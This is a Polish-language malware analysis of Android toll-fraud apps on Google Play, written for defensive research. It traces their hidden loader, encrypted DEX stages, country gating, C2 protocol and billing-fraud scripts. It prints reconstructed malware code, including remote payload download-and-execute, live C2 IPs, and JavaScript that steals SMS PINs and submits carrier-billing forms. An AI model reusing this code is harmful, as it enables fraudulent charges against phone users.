To najważniejszy element kamuflażu uprawnień. Google Play zezwala aplikacji pełniącej rolę domyślnej aplikacji do obsługi SMS na żądanie ograniczonych uprawnień do wiadomości SMS, z zastrzeżeniem weryfikacji. Widoczna część aplikacji używa ich do obsługi wiadomości, a pobrany kod wykorzystuje te same uprawnienia do nadużyć związanych z płatnościami.

Operacja nie wymagała, by widoczna warstwa każdej aplikacji żądała takich samych uprawnień. Phone Cleaner Master udawał narzędzie użytkowe i nie żądał READ_SMS, RECEIVE_SMS ani SEND_SMS. Pobrany payload AqMu przez cały czas zawierał ogólną procedurę obsługi wiadomości SMS, ale aplikacja bez tych uprawnień zwykle nie mogłaby ich wysyłać. przez cały czas dostępne były płatności w przeglądarce, wiązanie procesu z siecią komórkową i funkcje obsługi powiadomień. Wiadomości SMS Premium i Direct Carrier Billing stanowią odrębne ścieżki toll fraud. Pierwsza polega na wysłaniu słowa kluczowego na numer skrócony i wymaga SEND_SMS. Druga otwiera stronę płatności w ukrytym WebView i obciąża użytkownika na podstawie identyfikacji abonenta przez sieć komórkową, bez konieczności samodzielnego wysłania wiadomości SMS przez aplikację. Komunikatory mogły korzystać z obu ścieżek, natomiast narzędzie użytkowe było ograniczone do płatności przez operatora. Pokazuje to, iż operator kampanii mógł ponownie wykorzystywać ten sam szkielet payloadu, aktywując wyłącznie funkcje obsługiwane przez widoczną warstwę danej aplikacji.

Google Play dostarczał Messenger Pro jako instalację split APK, składającą się z bazowego APK i wymaganego pakietu konfiguracyjnego ARM64. W wyniku analizy odzyskaliśmy mechanizm kontroli kraju, mechanizm wyboru payloadu i dwa alternatywne payloady, wszystkie w postaci plików DEX. Każda ścieżka wykonania korzystała z czterech warstw: bazowego APK, mechanizmu kontroli kraju, mechanizmu wyboru payloadu i jednego wybranego payloadu.

Artefakt Rola Rozmiar
Bazowy APK Komunikator i moduł ładujący 18 512 332 B
Pakiet ARM64 Wymagane biblioteki aplikacji 8 597 819 B
Etap 1 Kontrola pakietu i kraju 80 384 B
Etap 2 Mechanizm wyboru payloadu 21 860 B
Domyślny payload Payload używany przez Polskę i inne dozwolone MCC 174 916 B
Payload dla wybranych krajów Payload dla MCC 208 i 460 216 724 B

Bazowy APK pełnił funkcję modułu ładującego i zawierał zaszyfrowany etap 1. Po odszyfrowaniu etap 1 sprawdzał nazwę pakietu i MCC karty SIM, po czym pobierał zdalny znacznik aktywujący odszyfrowanie osadzonego w nim kolejnego etapu, który stosował zdalne reguły wyboru kraju i pobierał odpowiedni payload. W tej wersji Messenger Pro polski MCC 260 trafiał do domyślnej gałęzi. Poniższy diagram przedstawia cały przepływ wykonania.

Rysunek 2. Przepływ wykonania Messenger Pro. Kolorem czerwonym oznaczono ścieżkę wybraną dla polskiego MCC 260 przez reguły zaobserwowane 15 września 2026 roku.

Bazowy APK zawierał 39 990 208 bajtów kodu DEX w dziewięciu plikach. Moduł ładujący i zaszyfrowany etap 1 znajdowały się w classes9.dex, który stanowił 0,552% łącznej wielkości. Jedno wstrzyknięte wywołanie ukryto w dużej metodzie Application.onCreate(), a nagłówek pierwszego pliku DEX zapisano jako tablice liczb całkowitych.

Nie możemy ustalić, co wykazała wewnętrzna weryfikacja Google ani czy wcześniejsze wydanie aplikacji było niezłośliwe. Odzyskaliśmy wyłącznie wersję 9.0. Dokumentacja Androida wskazuje, iż wiele form zdalnego, dynamicznego ładowania kodu narusza zasady Google Play. Moduł ładujący odtwarzał etap 1 jako tablicę bajtów i ładował go dzięki InMemoryDexClassLoader. Etap 1 w ten sam sposób odszyfrowywał etap 2, który pobierał końcowy plik DEX z magazynu obiektowego. Etap 1, etap 2 i końcowy DEX były uruchamiane dzięki InMemoryDexClassLoader.

Łańcuch wykonania

Bazowy APK: ukryty moduł ładujący

Uruchomienie nie wymagało otwarcia aplikacji przez użytkownika. Package Manager zarejestrował instalację o 12:54:02. O 12:54:03 proces kontaktów Android wysłał żądanie do eksportowanego dostawcy treści Bluetooth Message Access Profile (MAP) aplikacji, który deklarował możliwość synchronizacji. ActivityManager uruchomił proces aplikacji, aby obsłużyć to żądanie:

09-15 12:54:03.695 I ActivityManager: Start proc 4257: com.messages.sms.messenger.textmessage.owyo/u0a211 for content provider {.../provider.BluetoothMapProvider}

Sam dostawca treści nie realizował faktycznej synchronizacji. Istotne jest to, iż żądanie uruchomiło proces aplikacji bez otwierania interfejsu. Android inicjalizuje dostawców treści przed Application.onCreate(). Wykonanie dotarło następnie do MyApplication.onCreate(), gdzie pojedyncze wstrzyknięte wywołanie uruchamiało moduł ładujący przed zwykłą inicjalizacją komunikatora. Kod ograniczony do istotnych instrukcji wygląda następująco:

@Override public void onCreate() { super.onCreate(); OePZg.zbM9Zl8(this); // injected loader f44385o000O00 = this; // messenger initialization follows } public static void zbM9Zl8(Context context) { if (context != null) new Thread(new bMOnRYZisw(context.getApplicationContext())).start(); }

Manifest deklaruje również komponenty aplikacji bazowej używane przez późniejsze etapy: wyłączony alias launchera, usługę zadań WorkJobService, przezroczystą aktywność z etykietą 6002 oraz usługę nasłuchującą powiadomień.

Moduł ładujący buduje tablicę 80 433 bajtów dzięki 73 wygenerowanych metod. Po jej odtworzeniu otrzymaliśmy następujący uwierzytelniony kontener:

magic 0b09b12a | version 01 | nonce 12 bytes | ciphertext 80,384 bytes | HMAC 32 bytes

Klucz główny jest odtwarzany z tablic liczb całkowitych. Niestandardowa procedura wyprowadza dwa klucze SHA-256, weryfikuje HMAC, a następnie wykonuje XOR każdego bloku szyfrogramu ze strumieniem SHA-256:

auth_key = SHA256(master_key + b"\x5a" + magic) stream_key = SHA256(master_key + b"\x33" + magic) assert HMAC_SHA256(auth_key, blob_without_tag) == tag for counter in range(number_of_blocks): stream = SHA256(stream_key + nonce + counter.to_bytes(4, "big")) plaintext_block = ciphertext_block XOR stream

Zweryfikowany tekst jawny zaczynał się od dex\n038\0, co potwierdza, iż odszyfrowano poprawny plik DEX. Wartość 038 oznacza tutaj wersję formatu DEX, nie wersję aplikacji ani złośliwego oprogramowania. Moduł ładujący przekazał odzyskane bajty etapu 1 bezpośrednio do InMemoryDexClassLoader:

ClassLoader loader = new InMemoryDexClassLoader( ByteBuffer.wrap(dex), context.getClassLoader()); Class<?> gate = loader.loadClass("com.security.check.Gate"); gate.getDeclaredMethod("a", Context.class).invoke(null, context);

Wywołanie refleksyjne Gate.a(context) kończy działanie modułu ładującego w bazowym APK i rozpoczyna etap 1.

Etap 1: kontrola pakietu i kraju

Etap 1 włącza alias launchera, weryfikuje nazwę pakietu i kontynuuje działanie tylko dla dozwolonego MCC karty SIM. Przepływ sterowania, z ujednoliconymi nazwami, wygląda następująco:

if (!matches(expectedPackage, context.getPackageName(), '|')) { Process.killProcess(Process.myPid()); } else if (allowedMcc(context)) { new Thread(new SecurityCheckTask(context)).start(); }

Odkodowana lista obejmuje Tajlandię, Indonezję, Malezję, Turcję, Arabię Saudyjską, Zjednoczone Emiraty Arabskie, Polskę, Austrię, Grecję, Niemcy, Nigerię, Francję, Rumunię, Szwajcarię i Chiny:

520 510 502 286 420 424 260 232 202 262 621 208 226 228 460

Środowisko testowe początkowo zgłaszało domyślny MCC 310, którego nie ma na liście. Użyliśmy tej konfiguracji do potwierdzenia ścieżki odrzucenia, choć etap 1 zdążył już włączyć alias launchera, zanim pojawił się pierwszy ekran. Następnie skonfigurowaliśmy środowisko testowe tak, aby zgłaszało MCC karty SIM 260, i przeszliśmy ścieżkę przeznaczoną dla polskich urządzeń. Etap 1 zaakceptował tę wartość i wysłał żądanie do stałego adresu reguł hxxps://api.tehsnb[.]link/sabd/mckd. 15 września 2026 roku serwer zwrócił następującą wspólną odpowiedź sterującą aktywacją i wyborem ścieżki:

HTTP/2 200 content-type: text/plain; charset=utf-8 cbhedbgegevddgwv_GUOJIA=460_FR208

Odpowiedź nie klasyfikowała urządzenia testowego jako francuskiego. Był to wspólny zestaw reguł i nie zawierał kodu wykonywalnego ani klucza deszyfrującego. Znacznik cbhedbgegevdd nakazywał etapowi 1 kontynuować. Sufiks _GUOJIA=460_FR208 wymieniał wartości MCC przypisane do gałęzi przeznaczonej dla wybranych krajów: 460 dla Chin i 208 dla Francji. Nie było w nim polskiego MCC 260, dlatego etap 2 wybrał gałąź domyślną. Etap 1 zawierał już zaszyfrowany kontener etapu 2 i drugi klucz główny zapisany na stałe. Po znalezieniu znacznika weryfikował HMAC kontenera, odszyfrowywał plik DEX o rozmiarze 21 860 bajtów dzięki tej samej konstrukcji opartej na SHA-256 i ładował go przez InMemoryDexClassLoader.

Następnie etap 1 wywoływał paint.august.Osmanthus.flower(policyBody), przekazując całą odpowiedź HTTP jako ciąg znaków. To wywołanie kończy etap 1 i rozpoczyna etap 2.

Znacznik i wartości reguł były charakterystyczne dla tej wersji. Phone Cleaner Master używał znacznika poirjfirenhrhfg i tej samej konwencji _GUOJIA. Jego odpowiedź wybierała PL260, NG621 i AT232, a następnie aktywowała DEX wyboru ścieżki o rozmiarze 39 264 bajtów, który był już zaszyfrowany w etapie 1. W obu aplikacjach odpowiedź serwera zezwalała na kontynuację i przekazywała reguły wyboru kraju, natomiast zaszyfrowany plik wykonywalny i klucz deszyfrujący były już zapisane lokalnie.

Etap 2: wybór i pobranie payloadu

Etap 2 otrzymuje pełną odpowiedź z regułami w funkcji Osmanthus.flower(). Wyodrębnia tekst po _GUOJIA=, odczytuje pierwsze trzy cyfry operatora karty SIM i wybiera jeden z dwóch payloadów przechowywanych zdalnie. Istotna logika wyboru, z ujednoliconymi nazwami, wygląda następująco:

String selected = policy.substring(policy.indexOf("_GUOJIA=") + 8); String mcc = telephonyManager.getSimOperator().substring(0, 3); boolean targeted = selected.contains(mcc); if (targeted) { config = new Config( "https://tuonew.oss-me-east-1.aliyuncs.com/aqmu2155", "dewqq_rsp", "dewqq", "com.dzyna.mytsx.AqMu", "land", true); } else { config = new Config( "https://boitim.oss-eu-west-2.aliyuncs.com/taoxe", "oyoangon", "gasdg", "com.jk.MainEntry", "init", false); } start("47.84.77.127", config);

Każda konfiguracja zawiera adres URL payloadu, nazwę pliku w pamięci podręcznej, prefiks telemetrii, klasę i metodę wejściową oraz flagę gałęzi. Argument 47.84.77.127 staje się adresem C2 tylko dla domyślnego payloadu. W gałęzi przeznaczonej dla wybranych państw etap 2 zastępuje dwa argumenty wejściowe nazwami LpMsdqActivity i NotificationTool. Ten payload zawiera własny adres C2, 47.84.194.202.

Wewnętrzna diagnostyka nazywa te ścieżki new i old, ale etykiety te nie opisują ich stanu operacyjnego. Używamy określeń dla wybranych krajów i domyślna, zgodnie z logiką ich wyboru.

Domyślny payload Messenger Pro nie był przeznaczony wyłącznie dla Polski. Etap 2 wybierał go dla wszystkich dozwolonego MCC z wyjątkiem 208 i 460. Podczas rejestracji w C2 payload zgłaszał pełną wartość MCC/MNC, dzięki czemu serwer mógł przydzielać zadania adekwatne dla kraju lub operatora. W naszym kontrolowanym uruchomieniu MCC/MNC 26001 został sklasyfikowany jako PL i otrzymał polskie zadania dotyczące wiadomości SMS Premium oraz płatności przez operatora.

Decyzja o wyborze ścieżki nie była stała w całej operacji. Aktywne reguły Phone Cleaner Master zawierały PL260, dlatego ten sam MCC wybierał gałąź AqMu. Ta wersja pobierała aqmu2150, wywoływała com.dzyna.mytsx.AqMu.land() i używała 47.84.193.174/j26j8vf7 jako podstawowego adresu C2. Porównanie pokazuje, iż określenia „domyślna” i „dla wybranych krajów” opisują decyzję w obrębie jednej wersji, a nie stałe przypisanie krajów.

Przed pobraniem wybranego payloadu etap 2 rejestruje trwałe zadanie w JobScheduler dla WorkJobService, inicjalizuje AppsFlyer i odczytuje dane o źródle instalacji z Google Play. Uruchamia też przezroczystą aktywność LpMsdqActivity dzięki pośredniego łańcucha uruchamiania aktywności. W Androidzie 10 i nowszych umieszcza intencję aktywności w PendingIntent typu broadcast, ustawia tę intencję jako odbiorcę przycisku multimedialnego tymczasowej sesji MediaSession i wysyła zdarzenie przycisku multimedialnego. Zarejestrowany odbiorca wyodrębnia pierwotną intencję i uruchamia aktywność. Towarzyszące temu wirtualny ekran i Presentation należą do mechanizmu uruchamiania, nie do WebView obsługującego płatność.

Wybrany obiekt ma postać tekstu zakodowanego Base64. Po zdekodowaniu otrzymujemy dane skompresowane gzipem, a po dekompresji końcowy DEX. Dla domyślnego obiektu wybranego podczas polskiego uruchomienia:

HTTP body 123,388 B starts with H4sIAAAAAAAE... Base64 decode 92,541 B starts with 1f 8b 08 (gzip) gzip inflate 174,916 B starts with dex\n035\0

Etap 2 zapisuje zakodowaną treść HTTP jako oyoangon dla ścieżki domyślnej albo dewqq_rsp dla ścieżki przeznaczonej dla wybranych państw w prywatnym katalogu plików aplikacji. Przy kolejnych uruchomieniach może użyć tej kopii z pamięci podręcznej zamiast ponownie pobierać obiekt. Następnie etap 2 dekoduje, dekompresuje i ładuje końcowy DEX dzięki kolejnego InMemoryDexClassLoader:

byte[] compressed = Base64.decode(downloadedObject, Base64.DEFAULT); byte[] dex = gunzip(compressed); ClassLoader cl = new InMemoryDexClassLoader( ByteBuffer.wrap(dex), context.getClassLoader()); Method entry = cl.loadClass("com.jk.MainEntry") .getMethod("init", String.class, String.class); entry.invoke(null, "47.84.77.127", installReferrer);

Dla polskiego MCC 260 etap 2 wywołał com.jk.MainEntry.init("47.84.77.127", installReferrer). Argumentami są adres C2 domyślnego payloadu i dane o źródle instalacji z Google Play. Wywołanie kończy etap 2 i rozpoczyna działanie domyślnego payloadu.

Dostępne były oba obiekty z payloadami:

Ścieżka Ostatnia modyfikacja obiektu Zakodowany obiekt Odkodowany payload
Domyślna, zaobserwowana dla Polski 24 sierpnia 2026 123 388 B 174 916 B
Dla wybranych krajów, Francja i Chiny 9 września 2026 142 040 B 216 724 B

Znaczniki czasu odnoszą się do zapisanych plików, nie do stanu operacyjnego ścieżek. Oba obiekty przez cały czas były dostępne, a domyślny C2 przydzielał podczas analizy aktualne zadania dla Polski.

Domyślny payload Messenger Pro: zachowanie zaobserwowane dla Polski

Domyślny payload przeszukuje manifest aplikacji bazowej w poszukiwaniu komponentu Activity z etykietą składającą się wyłącznie z cyfr. W tej próbce etykieta 6002 wskazuje LpMsdqActivity, który etap 2 otworzył już dzięki opisanego wcześniej mechanizmu uruchamiania. Podczas kontrolowanego wykonania z profilem polskiego operatora komponent wyświetlał formularz Register, używany później do zebrania polskiego numeru telefonu.

Protokół i kryptografia C2

com.jk.MainEntry.init(host, referrer) otrzymuje adres C2 47.84.77.127. Domyślny payload buduje na jego podstawie adresy URL korzystające z nieszyfrowanego protokołu HTTP. Podczas inicjalizacji zastępuje też domyślny menedżer zaufania całego procesu oraz mechanizm weryfikacji nazw hostów używany przez HttpsURLConnection. Nowe implementacje akceptują każdy certyfikat i każdą nazwę hosta. Osłabia to weryfikację żądań HTTPS wykonywanych przez kod Javy w procesie aplikacji, ale nie zmienia konfiguracji stosu TLS Chromium używanego przez WebView.

Przy pierwszym załadowaniu klasa protokołu generuje sześć pozornie losowych ścieżek, po jednej dla każdej operacji. Dla operacji i wybiera losową liczbę całkowitą r od 0 do 998 i oblicza:

n = r - (r mod 31) + i

Przed każdą cyfrą dziesiętną n albo po niej umieszcza losową literę ASCII, a następnie dodaje litery, aż ścieżka ma co najmniej osiem znaków. Usunięcie liter i obliczenie reszty z dzielenia pozostałej liczby całkowitej przez 31 pozwala odzyskać numer operacji:

Operacja Cel odtworzony na podstawie miejsc wywołania
1 Rejestracja pakietu i profilu urządzenia; odebranie zdalnego identyfikatora i kraju.
2 Odpytywanie o zadania i polecenia SMS; kolejne odpytanie jest planowane po 30 062 ms.
3 Zwrócenie ukończonego zadania wraz z kodem wyniku, czasem, rekordami stron oraz rekordami SMS lub zdarzeń zebranymi dla tego zadania.
4 Wysłanie wartości testowej wraz ze zdalnym identyfikatorem; formularz Register używa tej operacji do przesłania numeru telefonu.
5 Przesłanie tekstu diagnostycznego lub kodu HTML strony z etykietą ?p=<job_or_record_id>.
6 Przekazanie żądania operatora Secure-D przez C2 z zachowaniem nagłówków adekwatnych dla usługi.

Każda operacja używa tej samej wygenerowanej ścieżki przez cały czas życia procesu. Nowy proces generuje inny zestaw. Mechanizm zaciemnia znaczenie operacji i adresu, ale nie zapewnia istotnej ochrony.

Na poziomie aplikacji treści żądań i odpowiedzi, po usunięciu kodowania warstwy HTTP, stanowią surowy szyfrogram AES. Zarejestrowane odpowiedzi dodatkowo używały podczas transmisji Content-Encoding: gzip. Po zdekompresowaniu treści HTTP payload odszyfrowywał otrzymany szyfrogram. Materiałem do wyprowadzenia klucza jest pełny adres URL, łącznie z parametrami zapytania używanymi przez operację 5:

byte[] digest = MessageDigest.getInstance("MD5").digest(url.getBytes("UTF-8")); String hex = lowerHex(digest); byte[] key = hex.substring(0, 16).getBytes(); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(mode, new SecretKeySpec(key, "AES"), new IvParameterSpec(key));

Pierwsze 16 znaków szesnastkowych ASCII tworzy klucz o długości 16 bajtów. Nie są one dekodowane do ośmiu bajtów. Wektor IV jest równy kluczowi. Ponieważ adres URL jest przesyłany przez sieć jawnym tekstem i jednoznacznie wyznacza obie wartości, szyfrowanie ukrywa ruch, ale nie zapewnia tajnego klucza ani uwierzytelniania wiadomości.

Rysunek 3. Sposób szyfrowania ruchu C2 przez Messenger Pro.

Podczas kontrolowanego wykonania aplikacja wygenerowała ścieżkę /A2W80jUc. Jej cyfry tworzą 280, a 280 mod 31 = 1, co wskazuje żądanie rejestracyjne. Zarejestrowany URL i wyprowadzony klucz to:

POST http://47.84.77.127/A2W80jUc key = IV = ASCII("e5eab0a8914cd673")

Po odszyfrowaniu treści żądania o rozmiarze 176 bajtów otrzymaliśmy:

{ "josiwo": "com.messages.sms.messenger.textmessage.owyo", "worikt": "26001", "zubfih": "1789473394955", "qredyb": 35, "kdthit": 312, "xjnguw": "google", "tffhhk": "null_ref" }

Pola zawierają nazwę pakietu, MCC/MNC, czas instalacji w milisekundach czasu uniksowego, poziom SDK Androida, stały znacznik payloadu, markę urządzenia i dane o źródle instalacji z Google Play. Serwer zwrócił treść skompresowaną gzipem o rozmiarze 103 bajtów. Dekompresja treści HTTP dała 80 bajtów szyfrogramu AES. Po odszyfrowaniu otrzymaliśmy 64-bajtowy dokument JSON:

{ "bshwai": 60727718, "xjnguw": "", "ejqgpk": "", "hyszxc": "PL" }

Serwer C2 przypisał urządzeniu zdalny identyfikator 60727718 i kod kraju PL. Zarejestrowaną wymianę przedstawia rysunek 3.

Aby zaobserwować przydzielanie zadań urządzeniu zgłaszającemu połączenie komórkowe oraz możliwość odbierania i wysyłania wiadomości SMS, zarejestrowaliśmy odrębny kontrolowany profil. Serwer C2 przypisał mu zdalny identyfikator 60723698. Odpytanie operacji 2 korzystało z innego adresu URL, a więc także z innego klucza:

POST http://47.84.77.127/a3b1c2de key = IV = ASCII("19b8c8d1caee32bf")

Odszyfrowane żądanie:

{ "zubfih": "1789440000000", "bshwai": 60723698, "eymbmw": true, "rktfht": true, "segdip": true }

Operacja 2 nie jest jedynie sygnałem podtrzymania połączenia. Informuje serwer C2, które ścieżki oszustwa obsługuje urządzenie. eymbmw zgłasza łączność komórkową, rktfht możliwość odbierania wiadomości SMS, a segdip możliwość ich wysyłania. Dzięki tym wartościom serwer może rozróżnić urządzenia zdolne do otwierania stron płatności przez operatora, przechwytywania wiadomości weryfikacyjnych lub wysyłania wiadomości SMS Premium. Odpowiedź o rozmiarze 6 928 bajtów szyfrogramu po odszyfrowaniu zawierała następujący pakiet zadań:

{ "lybfta": [{ "ejqgpk": 863176325, "gooycf": "https://nmx4e6qj.com/bV1p5aXg?campaign=10375&sub_aff=5063176325&sub_aff3=EZ", "inbzrz": 200, "hyszxc": true, "eymbmw": true, "gkreil": ["<7 rule objects omitted>"] }], "jxdkqb": { "segdip": "+447752070662---rch59419069" } }

Odpowiedź ponownie wykorzystywała część nazw pól w innym znaczeniu. W żądaniu eymbmw zgłaszało dostępność połączenia komórkowego. W zwróconym zadaniu eymbmw: true wymagało, aby payload uzyskał takie połączenie i powiązał z nim proces. Niepowodzenie kończyło zadanie kodem 203. Podobnie podczas rejestracji hyszxc zawierało kod kraju PL, ale hyszxc: true w zadaniu wybierało tryb, w którym payload pobierał zawartość strony klientem HTTP działającym po stronie aplikacji, a następnie ładował ją do WebView.

lybfta zawierało zadanie przeglądarkowe. Choć miało postać tablicy, payload odczytywał tylko pierwszy element. ejqgpk było identyfikatorem zadania 863176325, który klient umieszczał później w wyniku. gooycf zawierało początkowy afiliacyjny adres URL. gkreil składało się z siedmiu reguł dopasowania adresów i odpowiadających im fragmentów JavaScript. Pozwalało to C2 sterować zachowaniem payloadu po kolejnych przekierowaniach do różnych stron płatności. inbzrz wybierało tryb wykonania 200. Wartości 300 i większe włączały dodatkowe mechanizmy śledzenia i rejestrowania stron.

Nadrzędny obiekt jxdkqb był przetwarzany niezależnie, przed zadaniem przeglądarkowym. Wartość segdip miała format destination---body i nakazywała mechanizmowi korzystającemu z systemowego API SMS wysłać rch59419069 na +447752070662. W innym miejscu payloadu wiadomość przychodząca zaczynająca się od rch wywołuje żądanie do /op/pair zawierające sufiks i numer telefonu nadawcy. Oba zachowania są zgodne z mechanizmem parowania numeru telefonu. Zaobserwowaliśmy polecenie wysłania wiadomości, ale nie obsługę po stronie odbiorczej, dlatego dokładna rola brytyjskiego numeru pozostaje niepotwierdzona.

Zdalne zadania i interfejs WebView

Pokazana wyżej odszyfrowana odpowiedź operacji 2 zawierała zadanie przeglądarkowe w lybfta. Tablicę gkreil zastąpiono w przykładzie tekstem <7 rule objects omitted>. Po jej rozwinięciu znaleźliśmy siedem reguł przekazanych przez C2. Każda łączyła wyrażenie URL z kodem JavaScript, który payload wykonywał, gdy WebView docierał do pasującej strony. Sprawdziliśmy pełny zestaw reguł bez otwierania przydzielonego początkowego adresu URL:

Identyfikator reguły Wyrażenie URL Zachowanie przekazane przez C2
162785 ua.forward-tv.net/lp Wykrycie strony numeru telefonu lub PIN, wstawienie MSISDN, przechwycenie PIN składającego się z 4 do 6 cyfr, zaznaczenie oświadczenia i wysłanie formularza.
162800 service_unavailable Zakończenie kodem 905.
62745 lp.ooxxporn.net/pl/lp.html Zaznaczenie pola zgody i wysłanie formularza.
62746 dcb.teleaudio.pl Polski proces podawania numeru telefonu i PIN.
98259 consulate.teleaudio.pl/dcbev/ Wyodrębnienie wartości ze ścieżki i przekierowanie do procesu DCB Teleaudio.
158754 aff.odyss.club/... Zakończenie kodem 905.
162662 izy0.com Zakończenie kodem 905.

Kod 905 jest wynikiem końcowym przypisywanym przez C2 ścieżkom, których nie można było kontynuować, na przykład z powodu niedostępnej usługi, niepożądanego przekierowania afiliacyjnego lub zablokowanej domeny. Payload natychmiast kończył takie zadanie bez dalszej interakcji ze stroną.

Zadanie wymagało łączności komórkowej i zaczynało się od hxxps://nmx4e6qj[.]com/bV1p5aXg?campaign=10375&sub_aff=5063176325&sub_aff3=EZ. Główne gałęzie reguły Teleaudio, z ujednoliconymi nazwami zmiennych, pokazano poniżej. Pominięto logowanie, obsługę błędów i funkcję pomocniczą opóźnionego ponowienia:

var phone = document.querySelector('.phone-number'); var pin = document.querySelector('.form-control'); if (phone != null && phone.offsetHeight > 0) { phone.value = 'NNNNBBBB'; phone.dispatchEvent(new Event('input', {bubbles: true})); document.querySelector('.btn').click(); nextThings(); } else if (pin != null && pin.offsetHeight > 0) { var code = window.JBridge.call( 'popMsg', '2::(kod|PIN|code).*?(\\d{3,6})' ); if (code == '') { window.JBridge.call('finish', '305'); } else { pin.value = code; pin.dispatchEvent(new Event('input', {bubbles: true})); var checkbox = document.querySelector('.checkmark'); if (!checkbox.checked) checkbox.click(); document.querySelector('button.btn').click(); setTimeout(() => window.JBridge.call('finish', '100'), 5000); } }

C2 przekazywał NNNNBBBB jako symbol zastępczy numeru telefonu powiązanego dzięki operacji 4. W naszych zadaniach symbol nie został zastąpiony numerem, ponieważ nie podaliśmy użytecznej wartości. Pominięta funkcja nextThings() planuje zwrot wyniku 302 po 20 sekundach i ponawia próbę pobrania kodu PIN. Reguła służy więc do automatycznego wpisania numeru, wyodrębnienia kodu PIN, zaznaczenia zgody i wysłania formularza. Jej wyrażenie regularne jawnie rozpoznaje polskie słowo kod.

Skrypty C2 używają stałego wyrażenia window.JBridge.call(...), ale uruchomiony WebView udostępnia obiekt pod inną nazwą. Niestandardowy WebView tworzy losową czteroznakową nazwę zakończoną _. W poniższym kodzie ujednolicono nazwy zmiennych, ale ciągi zastępujące i nazwa metody moixxt są dokładne:

bridgeName = randomAlphaNumeric(4) + "_"; interfaceName = name.replace("JBridge", bridgeName); script = script.replace("JBridge.call", bridgeName + ".moixxt");

C2 może zatem używać stałej składni JBridge.call, a każda instancja WebView udostępnia interfejs do kodu aplikacji pod inną nazwą.

Dwa argumenty moixxt to polecenie i jego wartość. Przed wywołaniem implementacji po stronie aplikacji dyspozytor zapisuje każde wywołanie jako js-><command>:<value>:

Polecenie Skutek po stronie aplikacji
log Zapisanie przekazanego tekstu w logach bieżącego zadania.
finish Zakończenie bieżącego zadania z podanym kodem wyniku.
schedule Zaplanowanie wyniku 302 po opóźnieniu podanym przez C2.
textTo Rozdzielenie destination---body i wywołanie SmsManager.sendTextMessage().
popMsg Przeszukanie aktywnej kolejki wiadomości wyrażeniem regularnym przekazanym przez C2.
resetMsg Wyczyszczenie obu kolejek wiadomości przed nową próbą weryfikacji.
probe Przesłanie wartości przez operację 4 C2. W tym procesie jest nią proponowany numer telefonu.
request Wykonanie przez klienta aplikacji żądania HTTP GET lub POST z podanymi nagłówkami i treścią. Może zwrócić tekst, Base64 albo końcowy URL wraz z treścią.
touch Dodanie do kolejki syntetycznego dotknięcia o podanych współrzędnych.
dump Zapisanie przechwyconego kodu HTML w bieżącym rekordzie strony.

headers, data, url, mainFrame, b64 i finalUrl są polami przyjmowanymi przez polecenie request, a nie odrębnymi poleceniami interfejsu. Rozróżnienie to widać w parserze JSON po stronie aplikacji.

WebView zadania włącza JavaScript i DOM Storage, zezwala na mieszaną zawartość oraz automatyczne otwieranie okien przez JavaScript. Reguły typu 100, w tym siedem opisanych wyżej, wykonują JavaScript, gdy adres głównej strony pasuje do wzorca. Reguły typu 300 przechwytują pasujące żądania zasobów, pobierają ich zawartość klientem HTTP działającym po stronie aplikacji, stosują zamiany przekazane przez C2 i zwracają zmodyfikowaną odpowiedź do Chromium. Jedna z opcji zadania może też blokować żądania do notify.clfldcbprotect.com, notify.dcbprotect.com i notify.eyewitness.evina.com. Żadne z badanych polskich zadań nie włączyło tej opcji, a podczas uruchomienia All4You przez cały czas widzieliśmy ruch powiadomień mechanizmu ochrony przed oszustwami. Modyfikowanie odpowiedzi i blokowanie żądań pozostają zatem zaimplementowanymi funkcjami, których nie zaobserwowaliśmy podczas działania aplikacji.

Pojedyncza odpowiedź nie pokazuje pełnego zakresu zadań. Dlatego z jednego kontrolowanego profilu PL odpytaliśmy operację 2 50 razy, nie otwierając zwróconych adresów URL. Serwer przekazał 41 unikalnych zadań, po których nastąpiło dziewięć pustych odpowiedzi. Zadania zawierały 324 wystąpienia reguł, 119 unikalnych wyrażeń URL i 75 unikalnych fragmentów JavaScript. Początkowe adresy URL odwoływały się do kampanii 10371, 10372, 10374 i 10375. Reguły obejmowały procesy Teleaudio i Dimoco, bezpośrednie wiadomości SMS Premium, formularze numeru telefonu i PIN, komunikaty powodzenia oraz obsługę błędów. Wielokrotne odpytywanie nie dostarczyło informacji o innych urządzeniach ani instalacjach i nie może służyć jako miara liczby ofiar.

Porównaliśmy również flagi możliwości urządzenia przesyłane w operacji 2:

Zgłoszone możliwości Zachowanie C2 zaobserwowane w 10 odpytaniach
Odbieranie i wysyłanie SMS niedostępne Brak zadań.
Wysyłanie SMS dostępne, odbieranie niedostępne Nadal dostępne były zadania z bezpośrednimi wiadomościami SMS Premium.
Odbieranie dostępne, wysyłanie niedostępne Nadal dostępne były zadania płatności w WebView, ale nie zadania z bezpośrednimi wiadomościami SMS.
Ścieżka komórkowa niedostępna Wszystkie zwrócone zadania miały wyłączony wymóg łączności komórkowej.

Flagi stanowią dane wejściowe dla reguł przydzielania zadań. Dzięki nim jeden payload może obsługiwać zarówno płatności przeglądarkowe, jak i wiadomości SMS Premium, a serwer nie przydziela urządzeniu zadań, których nie może ono wykonać.

Zbieranie numeru i wysyłanie wiadomości SMS Premium

Podczas jednego kontrolowanego uruchomienia payload zarejestrował MCC/MNC 26001, otrzymał kod kraju PL i zadanie 864515147. Zadanie prowadziło przez następujący łańcuch:

nfaoh[.]com/brzb0xjr -> banana66.fuse-cloud[.]com/tl -> atemobi[.]com/click?campaign_id=119 -> pl.mygold[.]click/loovafit/download-blue-v2/ -> sms:92505?body=LOOVAFIT%20NET

Reguła z C2 przekazała do SmsManager obie formy numeru skróconego. Wywołania zostały przechwycone w środowisku analitycznym i nie dotarły do sieci komórkowej:

{"destination":"92505", "body":"LOOVAFIT NET", "blocked":true} {"destination":"+92505", "body":"LOOVAFIT NET", "blocked":true}

Złośliwe oprogramowanie wysłało obie wersje natychmiast, a po 60 sekundach ponowiło próbę. Do kolejki zadania nie trafiła żadna odpowiedź, dlatego operacja 3 zwróciła wynik 305, a operacja 5 przesłała ślad obejmujący przekierowanie, polecenia interfejsu i czasy. Kolejne zadania próbowały wysłać LOOVAPLAY F4J na ten sam numer skrócony.

Rysunek 4 łączy zapis ruchu w formacie PCAP, odszyfrowane treści, przesłany ślad i przechwycone wywołania SMS. Nieciągła skala czasu pozwala pokazać zarówno szybkie wymiany z C2, jak i 60 sekund oczekiwania na odpowiedź.

Rysunek 4. Zaobserwowana sekwencja komunikacji C2, WebView i wiadomości SMS Premium dla zadania 864515147.

